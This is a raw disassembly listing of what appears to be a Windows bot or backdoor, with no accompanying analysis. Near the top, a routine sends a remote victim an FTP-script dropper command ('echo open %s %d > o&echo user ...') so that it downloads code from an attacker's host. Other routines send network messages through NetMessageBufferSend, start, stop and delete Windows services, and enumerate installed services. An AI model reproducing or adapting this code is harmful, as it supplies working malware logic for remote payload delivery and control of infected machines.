		add	esp, 18h
		push	offset byte_4410E8
		push	offset byte_4410E8
		movzx	eax, word ptr dword_4E1418
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40C86E
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOE_0 ; "echo open %s %d > o&echo user	1 1 >> o "...
		push	190h
		lea	eax, [ebp-5A8h]
		push	eax
		call	sub_421B90
		add	esp, 1Ch
		push	0
		lea	eax, [ebp-5A8h]
		push	eax
		call	sub_41EBD0
		pop	ecx
		push	eax
		lea	eax, [ebp-5A8h]
		push	eax
		push	dword ptr [ebp-14h]
		call	dword_4E1750	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41ACE2
		xor	al, al
		jmp	short locret_41AD07
; ---------------------------------------------------------------------------


loc_41ACE2:				; CODE XREF: .XComp0:0041ACDCj
		push	0
		push	400h
		lea	eax, [ebp-418h]
		push	eax
		push	dword ptr [ebp-14h]
		call	dword_4E1718	; recv
		mov	[ebp-18h], eax
		push	dword ptr [ebp-14h]
		call	dword_4E1798	; closesocket
		mov	al, 1

locret_41AD07:				; CODE XREF: .XComp0:0041AC1Dj
					; .XComp0:0041AC38j ...
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AD09	proc near		; CODE XREF: sub_4021E5+87C7p

var_1CC		= dword	ptr -1CCh
var_1C8		= dword	ptr -1C8h
var_1C4		= dword	ptr -1C4h
var_1BC		= dword	ptr -1BCh
var_138		= byte ptr -138h
var_D4		= dword	ptr -0D4h
var_D0		= byte ptr -0D0h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= byte ptr -64h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	[ebp+var_1CC], 94h
		lea	eax, [ebp+var_1CC]
		push	eax
		nop
		call	near ptr 2820000h
		cmp	[ebp+var_1C8], 4
		jnz	short loc_41AD4E
		cmp	[ebp+var_1C4], 0
		jnz	short loc_41AD4E
		cmp	[ebp+var_1BC], 1
		jnz	short loc_41AD4C
		push	1
		pop	eax
		jmp	locret_41AE19
; ---------------------------------------------------------------------------


loc_41AD4C:				; CODE XREF: sub_41AD09+39j
		jmp	short loc_41AD82
; ---------------------------------------------------------------------------


loc_41AD4E:				; CODE XREF: sub_41AD09+27j
					; sub_41AD09+30j
		cmp	[ebp+var_1C8], 4
		jnz	short loc_41AD68
		cmp	[ebp+var_1C4], 0Ah
		jnz	short loc_41AD68
		push	1
		pop	eax
		jmp	locret_41AE19
; ---------------------------------------------------------------------------


loc_41AD68:				; CODE XREF: sub_41AD09+4Cj
					; sub_41AD09+55j
		cmp	[ebp+var_1C8], 4
		jnz	short loc_41AD82
		cmp	[ebp+var_1C4], 5Ah
		jnz	short loc_41AD82
		push	1
		pop	eax
		jmp	locret_41AE19
; ---------------------------------------------------------------------------


loc_41AD82:				; CODE XREF: sub_41AD09:loc_41AD4Cj
					; sub_41AD09+66j ...
		push	offset aNetapi32_dll_0 ; "netapi32.dll"
		nop
		call	near ptr 27F0000h
		mov	[ebp+var_68], eax
		push	offset aNetmessagebu_0 ; "NetMessageBufferSend"
		push	[ebp+var_68]
		nop
		call	near ptr 27F0281h
		mov	[ebp+var_6C], eax
		push	32h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_64]
		push	eax
		call	sub_4245A0
		add	esp, 0Ch
		push	32h
		push	[ebp+arg_4]
		lea	eax, [ebp+var_D0]
		push	eax
		call	sub_4245A0
		add	esp, 0Ch
		push	32h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_138]
		push	eax
		call	sub_4245A0
		add	esp, 0Ch
		lea	eax, [ebp+var_138]
		push	eax
		call	sub_424570
		pop	ecx
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		lea	eax, [ebp+var_64]
		push	eax
		push	0
		call	[ebp+var_6C]
		add	esp, 14h
		mov	[ebp+var_D4], eax
		push	[ebp+var_68]
		nop
		call	near ptr 2900000h
		mov	eax, [ebp+var_D4]

locret_41AE19:				; CODE XREF: sub_41AD09+3Ej
					; sub_41AD09+5Aj ...
		leave
		retn
sub_41AD09	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AE1B	proc near		; CODE XREF: sub_40168C+Dp
					; sub_413752+Dp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		call	near ptr 27D079Eh
		nop
		push	eax
		call	sub_421AC0
		pop	ecx
		mov	eax, [ebp+arg_4]
		sub	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		fild	[ebp+var_4]
		fstp	[ebp+var_8]
		call	sub_421AD0
		mov	[ebp+var_C], eax
		fild	[ebp+var_C]
		fmul	[ebp+var_8]
		fdiv	dbl_43E480
		call	sub_42313C
		add	eax, [ebp+arg_0]
		leave
		retn
sub_41AE1B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AE5B	proc near		; CODE XREF: sub_4021E5+57B4p
					; sub_4021E5+583Fp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_4], 0
		jz	short loc_41AED0
		push	0
		push	0
		mov	eax, [ebp+arg_0]
		imul	eax, 0Ch
		push	dword_44E0B8[eax]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41AEF5
		add	esp, 14h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_41AEAF
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_0]
		imul	eax, 0Ch
		push	off_44E0B4[eax]
		push	offset unk_44E178
		push	offset dword_4E8F24
		call	sub_4219C0
		add	esp, 10h
		jmp	short loc_41AECE
; ---------------------------------------------------------------------------


loc_41AEAF:				; CODE XREF: sub_41AE5B+2Fj
		push	[ebp+var_4]
		call	sub_41AFD4
		pop	ecx
		push	eax
		push	[ebp+arg_4]
		push	offset unk_44E194
		push	offset dword_4E8F24
		call	sub_4219C0
		add	esp, 10h


loc_41AECE:				; CODE XREF: sub_41AE5B+52j
		jmp	short loc_41AEEE
; ---------------------------------------------------------------------------


loc_41AED0:				; CODE XREF: sub_41AE5B+8j
		mov	eax, [ebp+arg_0]
		imul	eax, 0Ch
		push	off_44E0B0[eax]
		push	offset unk_44E1C0
		push	offset dword_4E8F24
		call	sub_4219C0
		add	esp, 0Ch


loc_41AEEE:				; CODE XREF: sub_41AE5B:loc_41AECEj
		mov	eax, offset dword_4E8F24
		leave
		retn
sub_41AE5B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AEF5	proc near		; CODE XREF: sub_41AE5B+20p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		and	[ebp+var_8], 0
		push	0F003Fh
		push	0
		push	0
		call	dword_4E16F4	; OpenSCManagerA
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_41AF25
		nop
		call	near ptr 27B0F7Fh
		mov	[ebp+var_8], eax
		jmp	loc_41AFCF
; ---------------------------------------------------------------------------


loc_41AF25:				; CODE XREF: sub_41AEF5+20j
		push	0F01FFh
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	dword_4E15DC	; OpenServiceA
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jnz	short loc_41AF4A
		nop
		call	near ptr 27B0F7Fh
		mov	[ebp+var_8], eax
		jmp	short loc_41AFC6
; ---------------------------------------------------------------------------


loc_41AF4A:				; CODE XREF: sub_41AEF5+48j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_2C], eax
		cmp	[ebp+var_2C], 1
		jz	short loc_41AF88
		cmp	[ebp+var_2C], 3
		jz	short loc_41AF6A
		cmp	[ebp+var_2C], 3
		jle	short loc_41AFBD
		cmp	[ebp+var_2C], 6
		jle	short loc_41AFA0
		jmp	short loc_41AFBD
; ---------------------------------------------------------------------------


loc_41AF6A:				; CODE XREF: sub_41AEF5+65j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+var_28]
		call	dword_4E15E4	; StartServiceA
		test	eax, eax
		jnz	short loc_41AF86
		call	near ptr 27B0F7Fh
		nop
		mov	[ebp+var_8], eax


loc_41AF86:				; CODE XREF: sub_41AEF5+86j
		jmp	short loc_41AFBD
; ---------------------------------------------------------------------------


loc_41AF88:				; CODE XREF: sub_41AEF5+5Fj
		push	[ebp+var_28]
		call	dword_4E164C	; DeleteService
		test	eax, eax
		jnz	short loc_41AF9E
		nop
		call	near ptr 27B0F7Fh
		mov	[ebp+var_8], eax


loc_41AF9E:				; CODE XREF: sub_41AEF5+9Ej
		jmp	short loc_41AFBD
; ---------------------------------------------------------------------------


loc_41AFA0:				; CODE XREF: sub_41AEF5+71j
		lea	eax, [ebp+var_24]
		push	eax
		push	[ebp+arg_8]
		push	[ebp+var_28]
		call	dword_4E1648	; ControlService
		test	eax, eax
		jnz	short loc_41AFBD
		nop
		call	near ptr 27B0F7Fh
		mov	[ebp+var_8], eax


loc_41AFBD:				; CODE XREF: sub_41AEF5+6Bj
					; sub_41AEF5+73j ...
		push	[ebp+var_28]
		call	dword_4E15F8	; CloseServiceHandle


loc_41AFC6:				; CODE XREF: sub_41AEF5+53j
		push	[ebp+var_4]
		call	dword_4E15F8	; CloseServiceHandle


loc_41AFCF:				; CODE XREF: sub_41AEF5+2Bj
		mov	eax, [ebp+var_8]
		leave
		retn
sub_41AEF5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AFD4	proc near		; CODE XREF: sub_41AE5B+57p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 420h
		ja	loc_41B07E
		cmp	[ebp+var_4], 420h
		jz	loc_41B12D
		cmp	[ebp+var_4], 41Bh
		ja	short loc_41B045
		cmp	[ebp+var_4], 41Bh
		jz	loc_41B209
		cmp	[ebp+var_4], 3
		jz	loc_41B117
		cmp	[ebp+var_4], 5
		jz	loc_41B0D5
		cmp	[ebp+var_4], 6
		jz	loc_41B101
		cmp	[ebp+var_4], 57h
		jz	loc_41B21C
		cmp	[ebp+var_4], 7Bh
		jz	loc_41B0EB
		jmp	loc_41B27B
; ---------------------------------------------------------------------------


loc_41B045:				; CODE XREF: sub_41AFD4+2Bj
		cmp	[ebp+var_4], 41Ch
		jz	loc_41B22F
		cmp	[ebp+var_4], 41Dh
		jz	loc_41B1F3
		cmp	[ebp+var_4], 41Eh
		jz	loc_41B1DD
		cmp	[ebp+var_4], 41Fh
		jz	loc_41B143
		jmp	loc_41B27B
; ---------------------------------------------------------------------------


loc_41B07E:				; CODE XREF: sub_41AFD4+11j
		cmp	[ebp+var_4], 45Bh
		ja	short loc_41B0BA
		cmp	[ebp+var_4], 45Bh
		jz	loc_41B268
		mov	eax, [ebp+var_4]
		sub	eax, 422h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 11h
		ja	loc_41B27B
		mov	eax, [ebp+var_4]
		movzx	eax, byte_41B2BF[eax]
		jmp	off_41B297[eax*4]
; ---------------------------------------------------------------------------


loc_41B0BA:				; CODE XREF: sub_41AFD4+B1j
		jmp	loc_41B27B
; ---------------------------------------------------------------------------


loc_41B0BF:				; CODE XREF: sub_41AFD4+DFj
					; DATA XREF: .XComp0:0041B2A7o
		push	offset aTheSpecifiedDa ; "The specified	database does not exist."
		push	offset dword_4E8864
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	loc_41B290
; ---------------------------------------------------------------------------


loc_41B0D5:				; CODE XREF: sub_41AFD4+48j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		push	offset dword_4E8864
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	loc_41B290
; ---------------------------------------------------------------------------


loc_41B0EB:				; CODE XREF: sub_41AFD4+66j
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		push	offset dword_4E8864
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	loc_41B290
; ---------------------------------------------------------------------------


loc_41B101:				; CODE XREF: sub_41AFD4+52j
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		push	offset dword_4E8864
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	loc_41B290
; ---------------------------------------------------------------------------


loc_41B117:				; CODE XREF: sub_41AFD4+3Ej
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		push	offset dword_4E8864
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	loc_41B290
; ---------------------------------------------------------------------------


loc_41B12D:				; CODE XREF: sub_41AFD4+1Ej
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		push	offset dword_4E8864
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	loc_41B290
; ---------------------------------------------------------------------------


loc_41B143:				; CODE XREF: sub_41AFD4+9Fj
		push	offset aTheDatabaseIsL ; "The database is locked."
		push	offset dword_4E8864
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	loc_41B290
; ---------------------------------------------------------------------------


loc_41B159:				; CODE XREF: sub_41AFD4+DFj
					; DATA XREF: .XComp0:0041B2B7o
		push	offset aTheServiceDepe ; "The service depends on a service that	d"...
		push	offset dword_4E8864
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	loc_41B290
; ---------------------------------------------------------------------------


loc_41B16F:				; CODE XREF: sub_41AFD4+DFj
					; DATA XREF: .XComp0:0041B2ABo
		push	offset aTheServiceDe_0 ; "The service depends on another service "...
		push	offset dword_4E8864
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	loc_41B290
; ---------------------------------------------------------------------------


loc_41B185:				; CODE XREF: sub_41AFD4+DFj
					; DATA XREF: .XComp0:off_41B297o
		push	offset aTheServiceHasB ; "The service has been disabled."
		push	offset dword_4E8864
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	loc_41B290
; ---------------------------------------------------------------------------


loc_41B19B:				; CODE XREF: sub_41AFD4+DFj
					; DATA XREF: .XComp0:0041B29Bo
		push	offset aTheSpecified_0 ; "The specified	service	does not exist."
		push	offset dword_4E8864
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	loc_41B290
; ---------------------------------------------------------------------------


loc_41B1B1:				; CODE XREF: sub_41AFD4+DFj
					; DATA XREF: .XComp0:0041B2AFo
		push	offset aTheServiceCoul ; "The service could not	be logged on. The"...
		push	offset dword_4E8864
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	loc_41B290
; ---------------------------------------------------------------------------


loc_41B1C7:				; CODE XREF: sub_41AFD4+DFj
					; DATA XREF: .XComp0:0041B2B3o
		push	offset aTheServiceHa_0 ; "The service has been marked for deletio"...
		push	offset dword_4E8864
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	loc_41B290
; ---------------------------------------------------------------------------


loc_41B1DD:				; CODE XREF: sub_41AFD4+92j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		push	offset dword_4E8864
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	loc_41B290
; ---------------------------------------------------------------------------


loc_41B1F3:				; CODE XREF: sub_41AFD4+85j
		push	offset aTheProcessForT ; "The process for the service was started"...
		push	offset dword_4E8864
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	loc_41B290
; ---------------------------------------------------------------------------


loc_41B209:				; CODE XREF: sub_41AFD4+34j
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		push	offset dword_4E8864
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	short loc_41B290
; ---------------------------------------------------------------------------


loc_41B21C:				; CODE XREF: sub_41AFD4+5Cj
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		push	offset dword_4E8864
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	short loc_41B290
; ---------------------------------------------------------------------------


loc_41B22F:				; CODE XREF: sub_41AFD4+78j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		push	offset dword_4E8864
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	short loc_41B290
; ---------------------------------------------------------------------------


loc_41B242:				; CODE XREF: sub_41AFD4+DFj
					; DATA XREF: .XComp0:0041B29Fo
		push	offset aTheRequested_1 ; "The requested	control	code cannot be se"...
		push	offset dword_4E8864
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	short loc_41B290
; ---------------------------------------------------------------------------


loc_41B255:				; CODE XREF: sub_41AFD4+DFj
					; DATA XREF: .XComp0:0041B2A3o
		push	offset aTheServiceHasN ; "The service has not been started."
		push	offset dword_4E8864
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	short loc_41B290
; ---------------------------------------------------------------------------


loc_41B268:				; CODE XREF: sub_41AFD4+BAj
		push	offset aTheSystemIsShu ; "The system is	shutting down."
		push	offset dword_4E8864
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	short loc_41B290
; ---------------------------------------------------------------------------


loc_41B27B:				; CODE XREF: sub_41AFD4+6Cj
					; sub_41AFD4+A5j ...
		push	[ebp+arg_0]
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_4E8864
		call	sub_4219C0
		add	esp, 0Ch


loc_41B290:				; CODE XREF: sub_41AFD4+FCj
					; sub_41AFD4+112j ...
		mov	eax, offset dword_4E8864
		leave
		retn
sub_41AFD4	endp

; ---------------------------------------------------------------------------
off_41B297	dd offset loc_41B185	; DATA XREF: sub_41AFD4+DFr
		dd offset loc_41B19B
		dd offset loc_41B242
		dd offset loc_41B255
		dd offset loc_41B0BF
		dd offset loc_41B16F
		dd offset loc_41B1B1
		dd offset loc_41B1C7
		dd offset loc_41B159
		dd offset loc_41B27B
byte_41B2BF	db 0			; DATA XREF: sub_41AFD4+D8r
		dd 3020109h, 9040909h, 9060509h, 9090709h
		db 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B2D1	proc near		; CODE XREF: sub_4021E5+57E1p

var_394		= dword	ptr -394h
var_390		= dword	ptr -390h
var_38C		= dword	ptr -38Ch
var_388		= dword	ptr -388h
var_380		= dword	ptr -380h
var_224		= byte ptr -224h
var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 394h
		and	[ebp+var_8], 0
		push	0F003Fh
		push	0
		push	0
		call	dword_4E16F4	; OpenSCManagerA
		mov	[ebp+var_10], eax
		push	0
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B00F
		add	esp, 14h


loc_41B308:				; CODE XREF: sub_41B2D1:loc_41B4D0j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	168h
		lea	eax, [ebp+var_38C]
		push	eax
		push	3
		push	30h
		push	[ebp+var_10]
		call	dword_4E16C0	; EnumServicesStatusA
		test	eax, eax
		jnz	short loc_41B342
		call	near ptr 27B0F7Fh
		nop
		cmp	eax, 0EAh
		jnz	loc_41B4D5


loc_41B342:				; CODE XREF: sub_41B2D1+5Ej
		and	[ebp+var_390], 0
		jmp	short loc_41B358
; ---------------------------------------------------------------------------


loc_41B34B:				; CODE XREF: sub_41B2D1+1F2j
		mov	eax, [ebp+var_390]
		inc	eax
		mov	[ebp+var_390], eax


loc_41B358:				; CODE XREF: sub_41B2D1+78j
		mov	eax, [ebp+var_390]
		cmp	eax, [ebp+var_C]
		jge	loc_41B4C8
		mov	eax, [ebp+var_390]
		imul	eax, 24h
		mov	eax, [ebp+eax+var_380]
		mov	[ebp+var_394], eax
		cmp	[ebp+var_394], 1
		jz	short loc_41B3C5
		cmp	[ebp+var_394], 2
		jz	short loc_41B3DD
		cmp	[ebp+var_394], 3
		jz	short loc_41B3F2
		cmp	[ebp+var_394], 4
		jz	short loc_41B407
		cmp	[ebp+var_394], 5
		jz	short loc_41B41C
		cmp	[ebp+var_394], 6
		jz	short loc_41B431
		cmp	[ebp+var_394], 7
		jz	loc_41B446
		jmp	loc_41B45B
; ---------------------------------------------------------------------------


loc_41B3C5:				; CODE XREF: sub_41B2D1+B3j
		push	offset aStopped	; "    Stopped"
		lea	eax, [ebp+var_224]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	loc_41B46E
; ---------------------------------------------------------------------------


loc_41B3DD:				; CODE XREF: sub_41B2D1+BCj
		push	offset aStarting ; "   Starting"
		lea	eax, [ebp+var_224]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	short loc_41B46E
; ---------------------------------------------------------------------------


loc_41B3F2:				; CODE XREF: sub_41B2D1+C5j
		push	offset aStoping	; "    Stoping"
		lea	eax, [ebp+var_224]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	short loc_41B46E
; ---------------------------------------------------------------------------


loc_41B407:				; CODE XREF: sub_41B2D1+CEj
		push	offset aRunning	; "    Running"
		lea	eax, [ebp+var_224]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	short loc_41B46E
; ---------------------------------------------------------------------------


loc_41B41C:				; CODE XREF: sub_41B2D1+D7j
		push	offset aContinuing ; " Continuing"
		lea	eax, [ebp+var_224]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	short loc_41B46E
; ---------------------------------------------------------------------------


loc_41B431:				; CODE XREF: sub_41B2D1+E0j
		push	offset aPausing	; "    Pausing"
		lea	eax, [ebp+var_224]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	short loc_41B46E
; ---------------------------------------------------------------------------


loc_41B446:				; CODE XREF: sub_41B2D1+E9j
		push	offset aPaused	; "	Paused"
		lea	eax, [ebp+var_224]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	short loc_41B46E
; ---------------------------------------------------------------------------


loc_41B45B:				; CODE XREF: sub_41B2D1+EFj
		push	offset aUnknown	; "    Unknown"
		lea	eax, [ebp+var_224]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx


loc_41B46E:				; CODE XREF: sub_41B2D1+107j
					; sub_41B2D1+11Fj ...
		mov	eax, [ebp+var_390]
		imul	eax, 24h
		push	[ebp+eax+var_388]
		mov	eax, [ebp+var_390]
		imul	eax, 24h
		push	[ebp+eax+var_38C]
		lea	eax, [ebp+var_224]
		push	eax
		push	offset aSSS_1	; "%s: %s (%s)"
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_4219C0
		add	esp, 14h
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_210]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B00F
		add	esp, 14h
		jmp	loc_41B34B
; ---------------------------------------------------------------------------


loc_41B4C8:				; CODE XREF: sub_41B2D1+90j
		cmp	[ebp+var_8], 0
		jnz	short loc_41B4D0
		jmp	short loc_41B4D5
; ---------------------------------------------------------------------------


loc_41B4D0:				; CODE XREF: sub_41B2D1+1FBj
		jmp	loc_41B308
; ---------------------------------------------------------------------------


loc_41B4D5:				; CODE XREF: sub_41B2D1+6Bj
					; sub_41B2D1+1FDj
		push	[ebp+var_10]
		call	dword_4E15F8	; CloseServiceHandle
		cmp	[ebp+var_C], 0
		ja	short loc_41B4E8
		xor	eax, eax
		jmp	short locret_41B4EB
; ---------------------------------------------------------------------------


loc_41B4E8:				; CODE XREF: sub_41B2D1+211j
		push	1
		pop	eax

locret_41B4EB:				; CODE XREF: sub_41B2D1+215j
		leave
		retn
sub_41B2D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B4ED	proc near		; CODE XREF: sub_4021E5+597Fp
					; sub_4021E5+59BAp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		cmp	[ebp+arg_4], 0
		jz	loc_41B5AD
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_41B514
		cmp	[ebp+var_8], 1
		jz	short loc_41B548
		jmp	short loc_41B557
; ---------------------------------------------------------------------------


loc_41B514:				; CODE XREF: sub_41B4ED+1Dj
		cmp	[ebp+arg_8], 0
		jnz	short loc_41B52A
		push	24h
		push	[ebp+arg_4]
		call	sub_422680
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41B53F


loc_41B52A:				; CODE XREF: sub_41B4ED+2Bj
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	0
		call	sub_41B654
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		jmp	short loc_41B546
; ---------------------------------------------------------------------------


loc_41B53F:				; CODE XREF: sub_41B4ED+3Bj
		mov	[ebp+var_4], 57h


loc_41B546:				; CODE XREF: sub_41B4ED+50j
		jmp	short loc_41B557
; ---------------------------------------------------------------------------


loc_41B548:				; CODE XREF: sub_41B4ED+23j
		push	[ebp+arg_4]
		push	0
		call	sub_41B724
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax


loc_41B557:				; CODE XREF: sub_41B4ED+25j
					; sub_41B4ED:loc_41B546j
		cmp	[ebp+var_4], 0
		jnz	short loc_41B580
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_0]
		imul	eax, 0Ch
		push	off_44E0B4[eax]
		push	offset dword_44E71C
		push	offset dword_4E8B20
		call	sub_4219C0
		add	esp, 10h
		jmp	short loc_41B5AB
; ---------------------------------------------------------------------------


loc_41B580:				; CODE XREF: sub_41B4ED+6Ej
		push	[ebp+var_4]
		call	sub_41C123
		pop	ecx
		push	eax
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_0]
		imul	eax, 0Ch
		push	off_44E0B0[eax]
		push	offset unk_44E738
		push	offset dword_4E8B20
		call	sub_4219C0
		add	esp, 14h


loc_41B5AB:				; CODE XREF: sub_41B4ED+91j
		jmp	short loc_41B5CB
; ---------------------------------------------------------------------------


loc_41B5AD:				; CODE XREF: sub_41B4ED+Dj
		mov	eax, [ebp+arg_0]
		imul	eax, 0Ch
		push	off_44E0B0[eax]
		push	offset unk_44E764
		push	offset dword_4E8B20
		call	sub_4219C0
		add	esp, 0Ch


loc_41B5CB:				; CODE XREF: sub_41B4ED:loc_41B5ABj
		mov	eax, offset dword_4E8B20
		leave
		retn
sub_41B4ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B5D2	proc near		; CODE XREF: sub_41D7E0+291p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		jnz	short loc_41B5E1
		xor	eax, eax
		jmp	short locret_41B652
; ---------------------------------------------------------------------------


loc_41B5E1:				; CODE XREF: sub_41B5D2+9j
		push	0
		push	0
		push	0
		push	0
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	400h
		push	0
		call	near ptr 290039Dh
		nop
		mov	[ebp+var_4], eax
		movzx	eax, byte_4E8D20
		and	eax, 1
		test	eax, eax
		jnz	short loc_41B62E
		mov	al, byte_4E8D20
		or	al, 1
		mov	byte_4E8D20, al
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_423B90
		pop	ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		mov	dword_4E8AC0, eax


loc_41B62E:				; CODE XREF: sub_41B5D2+38j
		push	0
		push	0
		push	[ebp+var_4]
		push	dword_4E8AC0
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	400h
		push	0
		nop
		call	near ptr 290039Dh
		mov	eax, dword_4E8AC0

locret_41B652:				; CODE XREF: sub_41B5D2+Dj
		leave
		retn
sub_41B5D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B654	proc near		; CODE XREF: sub_41B4ED+45p
					; sub_41DC42+20Bp ...

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	[ebp+arg_0]
		call	sub_41B6CD
		pop	ecx
		mov	[ebp+var_2C], eax
		push	[ebp+arg_4]
		call	sub_41B6CD
		pop	ecx
		mov	[ebp+var_24], eax
		push	24h
